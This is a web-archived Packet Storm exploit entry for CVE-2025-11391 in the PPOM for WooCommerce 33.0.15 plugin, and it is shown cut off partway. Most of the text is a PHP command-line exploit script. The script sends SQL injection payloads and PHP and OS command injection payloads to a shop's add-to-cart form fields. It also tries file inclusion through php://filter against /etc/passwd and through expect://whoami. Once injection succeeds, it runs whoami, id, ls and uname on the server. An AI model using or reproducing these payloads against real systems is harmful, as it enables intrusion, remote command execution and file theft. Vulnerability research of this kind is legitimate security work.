{"id":41067,"date":"2026-02-16T12:46:53","date_gmt":"2026-02-16T12:46:53","guid":{"rendered":"http:\/\/localhost\/?p=41067"},"modified":"2026-02-16T12:46:53","modified_gmt":"2026-02-16T12:46:53","slug":"ppom-for-woocommerce-33015-sql-injection-code-execution","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=41067","title":{"rendered":"\ud83d\udcc4 PPOM for WooCommerce 33.0.15 SQL Injection \/ Code Execution_PACKETSTORM:215642"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-16T17:45:10&#8243;,&#8221;description&#8221;:&#8221;This is an extensive exploit that leverages a remote SQL injection vulnerability in PPOM for WooCommerce version 33.0.15 to also achieve remote code execution and local file inclusion&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-16T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-16T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 PPOM for WooCommerce 33.0.15 SQL Injection \/ Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:215642&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-11391&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : PPOM for WooCommerce 33.0.15 RCE                                                                                            |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.2 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/wordpress.org\/plugins\/woocommerce-product-addon\/                                                                    |\\n    =============================================================================================================================================\\n    \\n    [+] References : https:\/\/packetstorm.news\/files\/id\/210742\/ \\u0026  \\tCVE-2025-11391\\n    \\n    [+] Summary    : This script is an Advanced PHP CLI Security Testing Tool designed for authorized penetration testing. \\n                     It targets web applications to detect SQL Injection (SQLi) and Remote Code Execution (RCE) vulnerabilities using time-based, error-based, and behavior-based techniques.\\n    \\n    [+] PoC : php poc2.php &#8211;url 127.0.0.1 or php poc2.php -u 127.0.0.1 -t rce\\n    \\n    \\u003c?php\\n    \\n    \\n    class SecurityTesterCLI {\\n        private $target_url;\\n        private $test_timeout;\\n        private $verbose;\\n        private $method;\\n        private $output_file;\\n        private $attack_type;\\n        private $user_agent;\\n        \\n        public function __construct($url, $timeout = 7, $attack_type = &#8216;sql&#8217;, $verbose = false, $method = &#8216;auto&#8217;, $output_file = null) {\\n            $this-\\u003etarget_url = $url;\\n            $this-\\u003etest_timeout = $timeout;\\n            $this-\\u003eattack_type = $attack_type;\\n            $this-\\u003everbose = $verbose;\\n            $this-\\u003emethod = $method;\\n            $this-\\u003eoutput_file = $output_file;\\n            $this-\\u003euser_agent = &#8216;Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36&#8217;;\\n        }\\n        \\n        private function log($message, $type = &#8216;info&#8217;) {\\n            $timestamp = date(&#8216;Y-m-d H:i:s&#8217;);\\n            $prefix = &#8221;;\\n            \\n            switch ($type) {\\n                case &#8216;success&#8217;:\\n                    $prefix = \\&#8221;[\u2713] \\&#8221;;\\n                    $color = \\&#8221;\\\\033[0;32m\\&#8221;;\\n                    break;\\n                case &#8216;error&#8217;:\\n                    $prefix = \\&#8221;[\u2717] \\&#8221;;\\n                    $color = \\&#8221;\\\\033[0;31m\\&#8221;;\\n                    break;\\n                case &#8216;warning&#8217;:\\n                    $prefix = \\&#8221;[!] \\&#8221;;\\n                    $color = \\&#8221;\\\\033[0;33m\\&#8221;;\\n                    break;\\n                case &#8216;info&#8217;:\\n                    $prefix = \\&#8221;[*] \\&#8221;;\\n                    $color = \\&#8221;\\\\033[0;36m\\&#8221;;\\n                    break;\\n                case &#8216;critical&#8217;:\\n                    $prefix = \\&#8221;[\u203c] \\&#8221;;\\n                    $color = \\&#8221;\\\\033[1;31m\\&#8221;;\\n                    break;\\n                default:\\n                    $prefix = \\&#8221;[ ] \\&#8221;;\\n                    $color = \\&#8221;\\\\033[0m\\&#8221;;\\n            }\\n            \\n            $formatted = \\&#8221;{$color}{$prefix}{$message}\\\\033[0m\\&#8221;;\\n            echo $formatted . PHP_EOL;\\n            \\n            if ($this-\\u003eoutput_file) {\\n                $plain = \\&#8221;[{$timestamp}] {$prefix}{$message}\\&#8221; . PHP_EOL;\\n                file_put_contents($this-\\u003eoutput_file, $plain, FILE_APPEND);\\n            }\\n            \\n            if ($this-\\u003everbose \\u0026\\u0026 $type == &#8216;info&#8217;) {\\n                $debug_msg = \\&#8221;\\\\033[90m[DEBUG] {$timestamp}: {$message}\\\\033[0m\\&#8221; . PHP_EOL;\\n                echo $debug_msg;\\n            }\\n        }\\n        \\n        \/\/ ==================== SQL Injection Payloads ====================\\n        private function build_sql_payload($sleep_time = null) {\\n            if ($sleep_time === null) {\\n                $sleep_time = $this-\\u003etest_timeout;\\n            }\\n            \\n            \/\/ \u0623\u0646\u0648\u0627\u0639 \u0645\u062e\u062a\u0644\u0641\u0629 \u0645\u0646 \u062d\u0645\u0648\u0644\u0627\u062a SQL Injection\\n            $payloads = array(\\n                &#8216;time_based&#8217; =\\u003e array(\\n                    &#8216;name&#8217; =\\u003e &#8216;Time-Based Blind SQLi&#8217;,\\n                    &#8216;payload&#8217; =\\u003e \\&#8221;1 AND (SELECT 1 FROM (SELECT(SLEEP({$sleep_time})))A)\\&#8221;,\\n                    &#8216;field&#8217; =\\u003e &#8216;ppom[fields][id]&#8217;\\n                ),\\n                &#8216;error_based&#8217; =\\u003e array(\\n                    &#8216;name&#8217; =\\u003e &#8216;Error-Based SQLi&#8217;,\\n                    &#8216;payload&#8217; =\\u003e \\&#8221;1&#8242; AND 1=CONVERT(int,(SELECT @@version))&#8211;\\&#8221;,\\n                    &#8216;field&#8217; =\\u003e &#8216;ppom[fields][id]&#8217;\\n                ),\\n                &#8216;union_based&#8217; =\\u003e array(\\n                    &#8216;name&#8217; =\\u003e &#8216;Union-Based SQLi&#8217;,\\n                    &#8216;payload&#8217; =\\u003e \\&#8221;1&#8242; UNION SELECT NULL,@@version&#8211;\\&#8221;,\\n                    &#8216;field&#8217; =\\u003e &#8216;ppom[fields][id]&#8217;\\n                ),\\n                &#8216;boolean_based&#8217; =\\u003e array(\\n                    &#8216;name&#8217; =\\u003e &#8216;Boolean-Based SQLi&#8217;,\\n                    &#8216;payload&#8217; =\\u003e \\&#8221;1&#8242; AND &#8216;1&#8217;=&#8217;1\\&#8221;,\\n                    &#8216;field&#8217; =\\u003e &#8216;ppom[fields][id]&#8217;\\n                )\\n            );\\n            \\n            return $payloads;\\n        }\\n        \\n        \/\/ ==================== RCE Payloads ====================\\n        private function build_rce_payloads($test_type = &#8216;all&#8217;) {\\n            \/\/ \u062d\u0645\u0648\u0644\u0627\u062a RCE \u0644\u0623\u0646\u0638\u0645\u0629 \u0645\u062e\u062a\u0644\u0641\u0629\\n            $payloads = array(\\n                &#8216;php&#8217; =\\u003e array(\\n                    &#8216;name&#8217; =\\u003e &#8216;PHP Command Injection&#8217;,\\n                    &#8216;payloads&#8217; =\\u003e array(\\n                        &#8216;system&#8217; =\\u003e &#8216;;system(\\\\&#8217;sleep &#8216; . $this-\\u003etest_timeout . &#8216;\\\\&#8217;);&#8217;,\\n                        &#8216;shell_exec&#8217; =\\u003e &#8216;;echo shell_exec(\\\\&#8217;sleep &#8216; . $this-\\u003etest_timeout . &#8216;\\\\&#8217;);&#8217;,\\n                        &#8216;exec&#8217; =\\u003e &#8216;;exec(\\\\&#8217;sleep &#8216; . $this-\\u003etest_timeout . &#8216;\\\\&#8217;);&#8217;,\\n                        &#8216;backtick&#8217; =\\u003e &#8216;;`sleep &#8216; . $this-\\u003etest_timeout . &#8216;`;&#8217;,\\n                        &#8216;passthru&#8217; =\\u003e &#8216;;passthru(\\\\&#8217;sleep &#8216; . $this-\\u003etest_timeout . &#8216;\\\\&#8217;);&#8217;\\n                    ),\\n                    &#8216;fields&#8217; =\\u003e array(&#8216;ppom[fields][sql_injection]&#8217;, &#8216;ppom[ppom_option_price]&#8217;, &#8216;quantity&#8217;)\\n                ),\\n                &#8216;os_command&#8217; =\\u003e array(\\n                    &#8216;name&#8217; =\\u003e &#8216;OS Command Injection&#8217;,\\n                    &#8216;payloads&#8217; =\\u003e array(\\n                        &#8216;unix_sleep&#8217; =\\u003e &#8216;;sleep &#8216; . $this-\\u003etest_timeout . &#8216;;&#8217;,\\n                        &#8216;unix_ping&#8217; =\\u003e &#8216;;ping -c 3 127.0.0.1;&#8217;,\\n                        &#8216;windows_sleep&#8217; =\\u003e &#8216;\\u0026 timeout \/T &#8216; . $this-\\u003etest_timeout . &#8216; \\u0026&#8217;,\\n                        &#8216;windows_ping&#8217; =\\u003e &#8216;\\u0026 ping -n 3 127.0.0.1 \\u0026&#8217;,\\n                        &#8216;pipe_unix&#8217; =\\u003e &#8216;|sleep &#8216; . $this-\\u003etest_timeout . &#8216;|&#8217;,\\n                        &#8216;pipe_windows&#8217; =\\u003e &#8216;|timeout \/T &#8216; . $this-\\u003etest_timeout . &#8216;|&#8217;\\n                    ),\\n                    &#8216;fields&#8217; =\\u003e array(&#8216;ppom[fields][sql_injection]&#8217;, &#8216;ppom[ppom_option_price]&#8217;, &#8216;quantity&#8217;)\\n                ),\\n                &#8216;file_inclusion&#8217; =\\u003e array(\\n                    &#8216;name&#8217; =\\u003e &#8216;File Inclusion&#8217;,\\n                    &#8216;payloads&#8217; =\\u003e array(\\n                        &#8216;php_wrapper&#8217; =\\u003e &#8216;php:\/\/filter\/convert.base64-encode\/resource=\/etc\/passwd&#8217;,\\n                        &#8216;expect&#8217; =\\u003e &#8216;expect:\/\/whoami&#8217;,\\n                        &#8216;data&#8217; =\\u003e &#8216;data:\/\/text\/plain,\\u003c?php system(\\&#8221;sleep &#8216; . $this-\\u003etest_timeout . &#8216;\\&#8221;);?\\u003e&#8217;,\\n                        &#8216;input&#8217; =\\u003e &#8216;php:\/\/input&#8217;\\n                    ),\\n                    &#8216;fields&#8217; =\\u003e array(&#8216;ppom[fields][sql_injection]&#8217;, &#8216;ppom[ppom_option_price]&#8217;)\\n                ),\\n                &#8216;code_eval&#8217; =\\u003e array(\\n                    &#8216;name&#8217; =\\u003e &#8216;Code Evaluation&#8217;,\\n                    &#8216;payloads&#8217; =\\u003e array(\\n                        &#8216;eval_php&#8217; =\\u003e &#8216;\\u003c?php sleep(&#8216; . $this-\\u003etest_timeout . &#8216;);?\\u003e&#8217;,\\n                        &#8216;assert_php&#8217; =\\u003e &#8216;\\u003c?php assert(\\&#8221;sleep(&#8216; . $this-\\u003etest_timeout . &#8216;)\\&#8221;);?\\u003e&#8217;,\\n                        &#8216;create_function&#8217; =\\u003e &#8216;\\u003c?php $func=create_function(\\\\&#8217;\\\\&#8217;,\\\\&#8217;sleep(&#8216; . $this-\\u003etest_timeout . &#8216;);\\\\&#8217;);$func();?\\u003e&#8217;\\n                    ),\\n                    &#8216;fields&#8217; =\\u003e array(&#8216;ppom[fields][sql_injection]&#8217;)\\n                )\\n            );\\n            \\n            if ($test_type !== &#8216;all&#8217; \\u0026\\u0026 isset($payloads[$test_type])) {\\n                return array($test_type =\\u003e $payloads[$test_type]);\\n            }\\n            \\n            return $payloads;\\n        }\\n        \\n        \/\/ ==================== Test Execution ====================\\n        private function send_request($post_data, $custom_url = null) {\\n            $url = $custom_url ?: $this-\\u003etarget_url;\\n            $start_time = microtime(true);\\n            \\n            if ($this-\\u003emethod === &#8216;curl&#8217; || ($this-\\u003emethod === &#8216;auto&#8217; \\u0026\\u0026 function_exists(&#8216;curl_version&#8217;))) {\\n                return $this-\\u003esend_curl_request($url, $post_data, $start_time);\\n            } else {\\n                return $this-\\u003esend_file_request($url, $post_data, $start_time);\\n            }\\n        }\\n        \\n        private function send_curl_request($url, $post_data, $start_time) {\\n            $ch = curl_init();\\n            \\n            curl_setopt_array($ch, array(\\n                CURLOPT_URL =\\u003e $url,\\n                CURLOPT_RETURNTRANSFER =\\u003e true,\\n                CURLOPT_POST =\\u003e true,\\n                CURLOPT_POSTFIELDS =\\u003e http_build_query($post_data),\\n                CURLOPT_TIMEOUT =\\u003e $this-\\u003etest_timeout + 5,\\n                CURLOPT_CONNECTTIMEOUT =\\u003e 5,\\n                CURLOPT_HEADER =\\u003e true,\\n                CURLOPT_USERAGENT =\\u003e $this-\\u003euser_agent,\\n                CURLOPT_FOLLOWLOCATION =\\u003e true,\\n                CURLOPT_MAXREDIRS =\\u003e 3,\\n                CURLOPT_SSL_VERIFYPEER =\\u003e false,\\n                CURLOPT_SSL_VERIFYHOST =\\u003e false\\n            ));\\n            \\n            $response = curl_exec($ch);\\n            $error = curl_error($ch);\\n            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);\\n            $total_time = curl_getinfo($ch, CURLINFO_TOTAL_TIME);\\n            \\n            curl_close($ch);\\n            \\n            $end_time = microtime(true);\\n            $duration = $end_time &#8211; $start_time;\\n            \\n            return array(\\n                &#8216;duration&#8217; =\\u003e $duration,\\n                &#8216;error&#8217; =\\u003e $error,\\n                &#8216;http_code&#8217; =\\u003e $http_code,\\n                &#8216;response&#8217; =\\u003e $response,\\n                &#8216;method&#8217; =\\u003e &#8216;cURL&#8217;\\n            );\\n        }\\n        \\n        private function send_file_request($url, $post_data, $start_time) {\\n            if (!ini_get(&#8216;allow_url_fopen&#8217;)) {\\n                throw new Exception(&#8216;allow_url_fopen is disabled&#8217;);\\n            }\\n            \\n            $options = array(\\n                &#8216;http&#8217; =\\u003e array(\\n                    &#8216;header&#8217;  =\\u003e \\&#8221;Content-type: application\/x-www-form-urlencoded\\\\r\\\\nUser-Agent: {$this-\\u003euser_agent}\\&#8221;,\\n                    &#8216;method&#8217;  =\\u003e &#8216;POST&#8217;,\\n                    &#8216;content&#8217; =\\u003e http_build_query($post_data),\\n                    &#8216;timeout&#8217; =\\u003e $this-\\u003etest_timeout + 5,\\n                    &#8216;ignore_errors&#8217; =\\u003e true\\n                ),\\n                &#8216;ssl&#8217; =\\u003e array(\\n                    &#8216;verify_peer&#8217; =\\u003e false,\\n                    &#8216;verify_peer_name&#8217; =\\u003e false\\n                )\\n            );\\n            \\n            $context = stream_context_create($options);\\n            \\n            try {\\n                $response = @file_get_contents($url, false, $context);\\n                \\n                if ($response === false) {\\n                    $error = error_get_last();\\n                    $error_message = isset($error[&#8216;message&#8217;]) ? $error[&#8216;message&#8217;] : &#8216;Unknown error&#8217;;\\n                    throw new Exception($error_message);\\n                }\\n                \\n                $end_time = microtime(true);\\n                $duration = $end_time &#8211; $start_time;\\n                \\n                return array(\\n                    &#8216;duration&#8217; =\\u003e $duration,\\n                    &#8216;error&#8217; =\\u003e null,\\n                    &#8216;http_code&#8217; =\\u003e 200, \/\/ \u0627\u0641\u062a\u0631\u0627\u0636\u064a\\n                    &#8216;response&#8217; =\\u003e $response,\\n                    &#8216;method&#8217; =\\u003e &#8216;file_get_contents&#8217;\\n                );\\n                \\n            } catch (Exception $e) {\\n                $end_time = microtime(true);\\n                $duration = $end_time &#8211; $start_time;\\n                \\n                return array(\\n                    &#8216;duration&#8217; =\\u003e $duration,\\n                    &#8216;error&#8217; =\\u003e $e-\\u003egetMessage(),\\n                    &#8216;http_code&#8217; =\\u003e 0,\\n                    &#8216;response&#8217; =\\u003e null,\\n                    &#8216;method&#8217; =\\u003e &#8216;file_get_contents&#8217;\\n                );\\n            }\\n        }\\n        \\n        \/\/ ==================== SQL Injection Tests ====================\\n        public function test_sql_injection() {\\n            $this-\\u003elog(\\&#8221;Starting SQL Injection Tests\\&#8221;, &#8216;info&#8217;);\\n            $this-\\u003elog(\\&#8221;Testing Time-Based Blind SQLi with SLEEP({$this-\\u003etest_timeout})\\&#8221;, &#8216;info&#8217;);\\n            \\n            $payloads = $this-\\u003ebuild_sql_payload();\\n            $results = array();\\n            \\n            foreach ($payloads as $type =\\u003e $payload_info) {\\n                $this-\\u003elog(\\&#8221;Testing: {$payload_info[&#8216;name&#8217;]}\\&#8221;, &#8216;info&#8217;);\\n                \\n                $post_data = array(\\n                    &#8216;add-to-cart&#8217; =\\u003e &#8217;72&#8217;,\\n                    &#8216;quantity&#8217; =\\u003e &#8216;1&#8217;,\\n                    &#8216;ppom[fields][sql_injection]&#8217; =\\u003e &#8216;test_value&#8217;,\\n                    $payload_info[&#8216;field&#8217;] =\\u003e $payload_info[&#8216;payload&#8217;],\\n                    &#8216;ppom[ppom_option_price]&#8217; =\\u003e &#8216;\\&#8221;\\&#8221;&#8216;\\n                );\\n                \\n                $result = $this-\\u003esend_request($post_data);\\n                $analysis = $this-\\u003eanalyze_sql_result($result, $payload_info[&#8216;name&#8217;]);\\n                \\n                $results[$type] = array(\\n                    &#8216;name&#8217; =\\u003e $payload_info[&#8216;name&#8217;],\\n                    &#8216;vulnerable&#8217; =\\u003e $analysis[&#8216;vulnerable&#8217;],\\n                    &#8216;duration&#8217; =\\u003e $result[&#8216;duration&#8217;],\\n                    &#8216;details&#8217; =\\u003e $analysis[&#8216;details&#8217;]\\n                );\\n                \\n                if ($analysis[&#8216;vulnerable&#8217;]) {\\n                    $this-\\u003elog(\\&#8221;VULNERABLE to {$payload_info[&#8216;name&#8217;]}!\\&#8221;, &#8216;success&#8217;);\\n                    \/\/ \u062a\u0648\u0642\u0641 \u0639\u0646 \u0627\u0644\u0627\u062e\u062a\u0628\u0627\u0631\u0627\u062a \u0627\u0644\u0623\u062e\u0631\u0649 \u0625\u0630\u0627 \u0648\u062c\u062f\u0646\u0627 \u062b\u063a\u0631\u0629\\n                    if ($type === &#8216;time_based&#8217; \\u0026\\u0026 $analysis[&#8216;vulnerable&#8217;]) {\\n                        break;\\n                    }\\n                } else {\\n                    $this-\\u003elog(\\&#8221;Not vulnerable to {$payload_info[&#8216;name&#8217;]}\\&#8221;, &#8216;info&#8217;);\\n                }\\n                \\n                \/\/ \u0627\u0646\u062a\u0638\u0627\u0631 \u0628\u064a\u0646 \u0627\u0644\u0637\u0644\u0628\u0627\u062a \u0644\u062a\u062c\u0646\u0628 \u0627\u0644\u062a\u062d\u0645\u064a\u0644 \u0627\u0644\u0632\u0627\u0626\u062f\\n                sleep(1);\\n            }\\n            \\n            return $results;\\n        }\\n        \\n        private function analyze_sql_result($result, $test_name) {\\n            $duration = $result[&#8216;duration&#8217;];\\n            $error = $result[&#8216;error&#8217;];\\n            \\n            \/\/ \u0644\u0644\u0640 Time-Based SQLi\\n            if (strpos($test_name, &#8216;Time-Based&#8217;) !== false) {\\n                if ($error \\u0026\\u0026 preg_match(&#8216;\/timed\\\\s*out\/i&#8217;, $error)) {\\n                    if ($duration \\u003e= $this-\\u003etest_timeout &#8211; 0.5) {\\n                        return array(\\n                            &#8216;vulnerable&#8217; =\\u003e true,\\n                            &#8216;details&#8217; =\\u003e \\&#8221;Timeout after {$duration}s confirms vulnerability\\&#8221;\\n                        );\\n                    }\\n                } elseif ($duration \\u003e= $this-\\u003etest_timeout &#8211; 0.5) {\\n                    return array(\\n                        &#8216;vulnerable&#8217; =\\u003e true,\\n                        &#8216;details&#8217; =\\u003e \\&#8221;Delayed response ({$duration}s) indicates vulnerability\\&#8221;\\n                    );\\n                }\\n            }\\n            \\n            \/\/ \u0644\u0644\u0640 Error-Based SQLi\\n            if (strpos($test_name, &#8216;Error-Based&#8217;) !== false) {\\n                if ($result[&#8216;response&#8217;] \\u0026\\u0026 (\\n                    preg_match(&#8216;\/SQL syntax\/i&#8217;, $result[&#8216;response&#8217;]) ||\\n                    preg_match(&#8216;\/mysql\/i&#8217;, $result[&#8216;response&#8217;]) ||\\n                    preg_match(&#8216;\/error\/i&#8217;, $result[&#8216;response&#8217;])\\n                )) {\\n                    return array(\\n                        &#8216;vulnerable&#8217; =\\u003e true,\\n                        &#8216;details&#8217; =\\u003e \\&#8221;SQL error found in response\\&#8221;\\n                    );\\n                }\\n            }\\n            \\n            return array(\\n                &#8216;vulnerable&#8217; =\\u003e false,\\n                &#8216;details&#8217; =\\u003e \\&#8221;No signs of vulnerability detected\\&#8221;\\n            );\\n        }\\n        \\n        \/\/ ==================== RCE Tests ====================\\n        public function test_rce($rce_type = &#8216;all&#8217;) {\\n            $this-\\u003elog(\\&#8221;Starting RCE (Remote Code Execution) Tests\\&#8221;, &#8216;info&#8217;);\\n            $this-\\u003elog(\\&#8221;Testing command execution with delay of {$this-\\u003etest_timeout} seconds\\&#8221;, &#8216;info&#8217;);\\n            \\n            $payloads = $this-\\u003ebuild_rce_payloads($rce_type);\\n            $results = array();\\n            $vulnerable_found = false;\\n            \\n            foreach ($payloads as $category =\\u003e $category_info) {\\n                $this-\\u003elog(\\&#8221;Testing category: {$category_info[&#8216;name&#8217;]}\\&#8221;, &#8216;info&#8217;);\\n                \\n                foreach ($category_info[&#8216;payloads&#8217;] as $payload_name =\\u003e $payload) {\\n                    $this-\\u003elog(\\&#8221;  Testing payload: {$payload_name}\\&#8221;, &#8216;info&#8217;);\\n                    \\n                    \/\/ \u062a\u062c\u0631\u0628\u0629 \u0627\u0644\u062d\u0645\u0648\u0644\u0629 \u0641\u064a \u0643\u0644 \u062d\u0642\u0644 \u0645\u0645\u0643\u0646\\n                    foreach ($category_info[&#8216;fields&#8217;] as $field) {\\n                        $post_data = array(\\n                            &#8216;add-to-cart&#8217; =\\u003e &#8217;72&#8217;,\\n                            &#8216;quantity&#8217; =\\u003e &#8216;1&#8217;,\\n                            &#8216;ppom[fields][sql_injection]&#8217; =\\u003e &#8216;test_value&#8217;,\\n                            $field =\\u003e $payload,\\n                            &#8216;ppom[ppom_option_price]&#8217; =\\u003e &#8216;\\&#8221;\\&#8221;&#8216;\\n                        );\\n                        \\n                        $this-\\u003elog(\\&#8221;    Field: {$field}\\&#8221;, &#8216;info&#8217;);\\n                        $result = $this-\\u003esend_request($post_data);\\n                        $analysis = $this-\\u003eanalyze_rce_result($result, $payload_name, $field);\\n                        \\n                        $result_key = \\&#8221;{$category}_{$payload_name}_{$field}\\&#8221;;\\n                        $results[$result_key] = array(\\n                            &#8216;category&#8217; =\\u003e $category_info[&#8216;name&#8217;],\\n                            &#8216;payload&#8217; =\\u003e $payload_name,\\n                            &#8216;field&#8217; =\\u003e $field,\\n                            &#8216;vulnerable&#8217; =\\u003e $analysis[&#8216;vulnerable&#8217;],\\n                            &#8216;duration&#8217; =\\u003e $result[&#8216;duration&#8217;],\\n                            &#8216;details&#8217; =\\u003e $analysis[&#8216;details&#8217;]\\n                        );\\n                        \\n                        if ($analysis[&#8216;vulnerable&#8217;]) {\\n                            $this-\\u003elog(\\&#8221;    VULNERABLE! {$category_info[&#8216;name&#8217;]} via {$field}\\&#8221;, &#8216;success&#8217;);\\n                            $vulnerable_found = true;\\n                            \\n                            \/\/ \u0645\u062d\u0627\u0648\u0644\u0629 \u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0625\u0636\u0627\u0641\u064a \u0625\u0630\u0627 \u0643\u0627\u0646\u062a \u062b\u063a\u0631\u0629 RCE\\n                            if ($analysis[&#8216;vulnerable&#8217;]) {\\n                                $this-\\u003eattempt_rce_exploitation($field, $category);\\n                            }\\n                            \\n                            break 2; \/\/ \u062e\u0631\u0648\u062c \u0645\u0646 \u0627\u0644\u062d\u0644\u0642\u062a\u064a\u0646 \u0627\u0644\u062f\u0627\u062e\u0644\u064a\u062a\u064a\u0646\\n                        } else {\\n                            $this-\\u003elog(\\&#8221;    Not vulnerable\\&#8221;, &#8216;info&#8217;);\\n                        }\\n                        \\n                        \/\/ \u0627\u0646\u062a\u0638\u0627\u0631 \u0642\u0635\u064a\u0631 \u0628\u064a\u0646 \u0627\u0644\u0645\u062d\u0627\u0648\u0644\u0627\u062a\\n                        usleep(500000); \/\/ 0.5 \u062b\u0627\u0646\u064a\u0629\\n                    }\\n                }\\n                \\n                if ($vulnerable_found) {\\n                    break;\\n                }\\n            }\\n            \\n            return $results;\\n        }\\n        \\n        private function analyze_rce_result($result, $payload_name, $field) {\\n            $duration = $result[&#8216;duration&#8217;];\\n            $error = $result[&#8216;error&#8217;];\\n            $response = $result[&#8216;response&#8217;];\\n            \\n            \/\/ \u0627\u0644\u0643\u0634\u0641 \u0628\u0646\u0627\u0621\u064b \u0639\u0644\u0649 \u0648\u0642\u062a \u0627\u0644\u0627\u0633\u062a\u062c\u0627\u0628\u0629\\n            if (strpos($payload_name, &#8216;sleep&#8217;) !== false || \\n                strpos($payload_name, &#8216;timeout&#8217;) !== false ||\\n                strpos($payload_name, &#8216;ping&#8217;) !== false) {\\n                \\n                if ($error \\u0026\\u0026 preg_match(&#8216;\/timed\\\\s*out\/i&#8217;, $error)) {\\n                    if ($duration \\u003e= $this-\\u003etest_timeout &#8211; 0.5) {\\n                        return array(\\n                            &#8216;vulnerable&#8217; =\\u003e true,\\n                            &#8216;details&#8217; =\\u003e \\&#8221;Command execution confirmed by timeout\\&#8221;\\n                        );\\n                    }\\n                } elseif ($duration \\u003e= $this-\\u003etest_timeout &#8211; 0.5) {\\n                    return array(\\n                        &#8216;vulnerable&#8217; =\\u003e true,\\n                        &#8216;details&#8217; =\\u003e \\&#8221;Command execution confirmed by delayed response\\&#8221;\\n                    );\\n                }\\n            }\\n            \\n            \/\/ \u0627\u0644\u0643\u0634\u0641 \u0628\u0646\u0627\u0621\u064b \u0639\u0644\u0649 \u0645\u062d\u062a\u0648\u0649 \u0627\u0644\u0627\u0633\u062a\u062c\u0627\u0628\u0629\\n            if ($response) {\\n                \/\/ \u0627\u0644\u0628\u062d\u062b \u0639\u0646 \u0645\u062e\u0631\u062c\u0627\u062a \u0627\u0644\u0623\u0648\u0627\u0645\u0631\\n                if (preg_match(&#8216;\/127\\\\.0\\\\.0\\\\.1\/&#8217;, $response) \\u0026\\u0026 \\n                    (strpos($payload_name, &#8216;ping&#8217;) !== false)) {\\n                    return array(\\n                        &#8216;vulnerable&#8217; =\\u003e true,\\n                        &#8216;details&#8217; =\\u003e \\&#8221;Ping command output found in response\\&#8221;\\n                    );\\n                }\\n                \\n                \/\/ \u0627\u0644\u0628\u062d\u062b \u0639\u0646 \u0623\u062e\u0637\u0627\u0621 PHP \u0623\u0648 \u062a\u0646\u0641\u064a\u0630\\n                if (preg_match(&#8216;\/Warning:|Notice:|Fatal error:|system\\\\(|shell_exec\\\\(\/i&#8217;, $response)) {\\n                    return array(\\n                        &#8216;vulnerable&#8217; =\\u003e true,\\n                        &#8216;details&#8217; =\\u003e \\&#8221;PHP execution evidence found\\&#8221;\\n                    );\\n                }\\n            }\\n            \\n            return array(\\n                &#8216;vulnerable&#8217; =\\u003e false,\\n                &#8216;details&#8217; =\\u003e \\&#8221;No evidence of command execution\\&#8221;\\n            );\\n        }\\n        \\n        private function attempt_rce_exploitation($field, $category) {\\n            $this-\\u003elog(\\&#8221;Attempting further exploitation&#8230;\\&#8221;, &#8216;warning&#8217;);\\n            \\n            $test_commands = array(\\n                &#8216;whoami&#8217; =\\u003e &#8216;whoami&#8217;,\\n                &#8216;id&#8217; =\\u003e &#8216;id&#8217;,\\n                &#8216;pwd&#8217; =\\u003e &#8216;pwd&#8217;,\\n                &#8216;ls&#8217; =\\u003e &#8216;ls -la&#8217;,\\n                &#8216;dir&#8217; =\\u003e &#8216;dir&#8217;,\\n                &#8216;phpinfo&#8217; =\\u003e &#8216;phpinfo()&#8217;,\\n                &#8216;uname&#8217; =\\u003e &#8216;uname -a&#8217;\\n            );\\n            \\n            foreach ($test_commands as $cmd_name =\\u003e $command) {\\n                $payload = &#8221;;\\n                \\n                if ($category === &#8216;php&#8217;) {\\n                    $payload = &#8216;;echo \\&#8221;\\\\n[CMD: &#8216; . $cmd_name . &#8216;]\\\\n\\&#8221;;&#8217;;\\n                    $payload .= &#8216;system(\\&#8221;&#8216; . addslashes($command) . &#8216;\\&#8221;);&#8217;;\\n                    $payload .= &#8216;echo \\&#8221;\\\\n\\&#8221;;&#8217;;\\n                } else {\\n                    $payload = &#8216;;echo \\&#8221;\\\\n[CMD: &#8216; . $cmd_name . &#8216;]\\\\n\\&#8221;;&#8217;;\\n                    $payload .= $command . &#8216;;&#8217;;\\n                    $payload .= &#8216;echo \\&#8221;\\\\n\\&#8221;;&#8217;;\\n                }\\n                \\n                $post_data = array(\\n                    &#8216;add-to-cart&#8217; =\\u003e &#8217;72&#8217;,\\n                    &#8216;quantity&#8217; =\\u003e &#8216;1&#8217;,\\n                    &#8216;ppom[fields][sql_injection]&#8217; =\\u003e &#8216;test_value&#8217;,\\n                    $field =\\u003e $payload,\\n                    &#8216;ppom[ppom_option_price]&#8217; =\\u003e &#8216;\\&#8221;\\&#8221;&#8216;\\n                );\\n                \\n                $result = $this-\\u003esend_request($post_data);\\n                \\n                if ($result[&#8216;response&#8217;]) {\\n                    \/\/ \u0627\u0633\u062a\u062e\u0631\u0627\u062c \u0645\u062e\u0631\u062c\u0627\u062a \u0627\u0644\u0623\u0645\u0631\\n                    $pattern = &#8216;\/\\\\[CMD: &#8216; . preg_quote($cmd_name, &#8216;\/&#8217;) . &#8216;\\\\]\\\\s*(.*?)(?=\\\\n\\\\[CMD:|$)\/s&#8217;;\\n                    if (preg_match($pattern, $result[&#8216;response&#8217;], $matches)) {\\n                        $output = trim($matches[1]);\\n                        if (!empty($output)) {\\n                            $this-\\u003elog(\\&#8221;Command &#8216;{$cmd_name}&#8217; output: {$output}\\&#8221;, &#8216;critical&#8217;);\\n                        }\\n                    }\\n                }\\n                \\n                usleep(300000); \/\/ 0.3 \u062b\u0627\u0646\u064a\u0629 \u0628\u064a\u0646 